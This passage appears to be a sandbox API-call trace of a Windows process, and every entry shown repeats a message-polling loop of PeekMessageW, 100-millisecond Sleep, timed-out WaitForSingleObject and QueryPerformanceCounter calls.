| out: lpMsg=0x2df914) returned 0 [0152.465] Sleep (dwMilliseconds=0x64) [0152.499] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0152.499] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=784723042) returned 1 [0152.499] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=784723218) returned 1 [0152.500] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0152.501] Sleep (dwMilliseconds=0x64) [0152.512] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0152.512] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=784764964) returned 1 [0152.512] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=784765148) returned 1 [0152.512] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0152.513] Sleep (dwMilliseconds=0x64) [0152.527] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0152.527] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=784818767) returned 1 [0152.527] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=784818951) returned 1 [0152.528] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0152.529] Sleep (dwMilliseconds=0x64) [0152.550] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0152.550] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=784897184) returned 1 [0152.550] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=784897355) returned 1 [0152.551] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0152.551] Sleep (dwMilliseconds=0x64) [0152.558] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0152.558] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=784922985) returned 1 [0152.558] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=784923169) returned 1 [0152.558] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0152.559] Sleep (dwMilliseconds=0x64) [0152.574] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0152.574] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=784978554) returned 1 [0152.574] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=784978714) returned 1 [0152.575] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0152.575] Sleep (dwMilliseconds=0x64) [0152.589] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0152.590] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=785031301) returned 1 [0152.590] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=785031480) returned 1 [0152.590] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0152.591] Sleep (dwMilliseconds=0x64) [0152.605] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0152.605] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=785083108) returned 1 [0152.605] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=785083308) returned 1 [0152.606] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0152.606] Sleep (dwMilliseconds=0x64) [0152.620] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0152.620] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=785136254) returned 1 [0152.620] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=785136452) returned 1 [0152.621] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0152.621] Sleep (dwMilliseconds=0x64) [0152.636] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0152.636] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=785189627) returned 1 [0152.636] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=785189815) returned 1 [0152.637] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0152.637] Sleep (dwMilliseconds=0x64) [0152.652] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0152.652] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=785245589) returned 1 [0152.652] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=785245766) returned 1 [0152.653] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0152.653] Sleep (dwMilliseconds=0x64) [0152.667] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0152.667] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=785296297) returned 1 [0152.667] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=785296482) returned 1 [0152.668] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0152.668] Sleep (dwMilliseconds=0x64) [0152.683] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0152.683] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=785349674) returned 1 [0152.683] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=785349864) returned 1 [0152.683] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0152.684] Sleep (dwMilliseconds=0x64) [0152.701] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0152.701] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=785413665) returned 1 [0152.702] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=785413832) returned 1 [0152.702] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0152.703] Sleep (dwMilliseconds=0x64) [0152.716] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0152.718] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=785469995) returned 1 [0152.719] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=785473913) returned 1 [0152.720] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0152.721] Sleep (dwMilliseconds=0x64) [0152.730] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0152.730] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=785512318) returned 1 [0152.731] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=785515727) returned 1 [0152.734] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0152.735] Sleep (dwMilliseconds=0x64) [0152.751] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0152.751] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=785583549) returned 1 [0152.751] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=785583701) returned 1 [0152.752] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0152.752] Sleep (dwMilliseconds=0x64) [0152.786] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0152.786] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=785704160) returned 1 [0152.786] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=785704269) returned 1 [0152.787] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0152.787] Sleep (dwMilliseconds=0x64) [0152.792] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0152.792] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=785722167) returned 1 [0152.792] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=785722280) returned 1 [0152.792] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0152.793] Sleep (dwMilliseconds=0x64) [0152.808] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0152.808] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=785776442) returned 1 [0152.808] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=785776553) returned 1 [0152.808] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0152.808] Sleep (dwMilliseconds=0x64) [0152.832] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0152.832] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=785860082) returned 1 [0152.832] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=785860198) returned 1 [0152.833] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0152.834] Sleep (dwMilliseconds=0x64) [0152.839] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0152.839] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=785882810) returned 1 [0152.839] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=785882921) returned 1 [0152.839] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0152.840] Sleep (dwMilliseconds=0x64) [0152.855] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0152.855] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=785937113) returned 1 [0152.855] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=785937218) returned 1 [0152.855] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0152.855] Sleep (dwMilliseconds=0x64) [0152.870] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0152.871] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=785992072) returned 1 [0152.871] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=785993514) returned 1 [0152.871] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0152.872] Sleep (dwMilliseconds=0x64) [0152.885] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0152.885] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=786042325) returned 1 [0152.885] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=786042440) returned 1 [0152.886] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0152.886] Sleep (dwMilliseconds=0x64) [0152.902] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0152.902] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=786099815) returned 1 [0152.902] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=786099931) returned 1 [0152.903] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0152.903] Sleep (dwMilliseconds=0x64) [0152.917] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0152.917] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=786149172) returned 1 [0152.917] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=786149287) returned 1 [0152.917] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0152.917] Sleep (dwMilliseconds=0x64) [0152.932] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0152.932] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=786202717) returned 1 [0152.932] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=786202916) returned 1 [0152.933] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0152.934] Sleep (dwMilliseconds=0x64) [0152.948] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0152.948] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=786256154) returned 1 [0152.948] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=786256353) returned 1 [0152.949] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0152.949] Sleep (dwMilliseconds=0x64) [0152.964] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0152.964] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=786312013) returned 1 [0152.964] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=786312211) returned 1 [0152.965] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0152.966] Sleep (dwMilliseconds=0x64) [0152.979] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0152.979] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=786362725) returned 1 [0152.979] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=786362983) returned 1 [0152.980] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0152.980] Sleep (dwMilliseconds=0x64) [0152.995] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0152.995] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=786415974) returned 1 [0152.995] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=786416158) returned 1 [0152.995] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0152.996] Sleep (dwMilliseconds=0x64) [0153.010] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0153.010] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=786469937) returned 1 [0153.011] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=786470130) returned 1 [0153.011] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0153.012] Sleep (dwMilliseconds=0x64) [0153.027] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0153.027] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=786526219) returned 1 [0153.027] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=786526387) returned 1 [0153.028] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0153.028] Sleep (dwMilliseconds=0x64) [0153.042] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0153.043] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=786579477) returned 1 [0153.043] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=786579646) returned 1 [0153.043] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0153.044] Sleep (dwMilliseconds=0x64) [0153.057] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0153.057] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=786629222) returned 1 [0153.057] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=786629407) returned 1 [0153.058] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0153.058] Sleep (dwMilliseconds=0x64) [0153.075] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0153.075] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=786690990) returned 1 [0153.075] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=786691210) returned 1 [0153.076] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0153.076] Sleep (dwMilliseconds=0x64) [0153.088] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0153.088] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=786735879) returned 1 [0153.088] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=786736030) returned 1 [0153.089] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0153.089] Sleep (dwMilliseconds=0x64) [0153.106] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0153.106] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=786796357) returned 1 [0153.106] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=786796504) returned 1 [0153.107] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0153.107] Sleep (dwMilliseconds=0x64) [0153.119] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0153.120] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=786842700) returned 1 [0153.120] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=786842846) returned 1 [0153.120] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0153.121] Sleep (dwMilliseconds=0x64) [0153.135] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0153.135] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=786895630) returned 1 [0153.135] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=786895810) returned 1 [0153.136] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0153.136] Sleep (dwMilliseconds=0x64) [0153.151] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0153.151] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=786949144) returned 1 [0153.151] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=786949299) returned 1 [0153.151] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0153.152] Sleep (dwMilliseconds=0x64) [0153.166] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0153.166] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=787002234) returned 1 [0153.166] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=787002392) returned 1 [0153.167] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0153.167] Sleep (dwMilliseconds=0x64) [0153.183] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0153.183] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=787058521) returned 1 [0153.183] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=787058734) returned 1 [0153.183] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0153.184] Sleep (dwMilliseconds=0x64) [0153.197] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0153.197] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=787108637) returned 1 [0153.197] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=787108773) returned 1 [0153.198] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0153.198] Sleep (dwMilliseconds=0x64) [0153.213] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0153.213] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=787162363) returned 1 [0153.213] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=787162490) returned 1 [0153.214] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0153.214] Sleep (dwMilliseconds=0x64) [0153.229] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0153.229] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=787215514) returned 1 [0153.229] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=787215642) returned 1 [0153.229] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0153.230] Sleep (dwMilliseconds=0x64) [0153.245] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0153.245] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=787270751) returned 1 [0153.245] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=787270879) returned 1 [0153.245] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0153.246] Sleep (dwMilliseconds=0x64) [0153.260] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0153.260] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=787321924) returned 1 [0153.260] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=787322048) returned 1 [0153.260] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0153.261] Sleep (dwMilliseconds=0x64) [0153.275] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0153.275] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=787375635) returned 1 [0153.276] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=787375825) returned 1 [0153.276] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 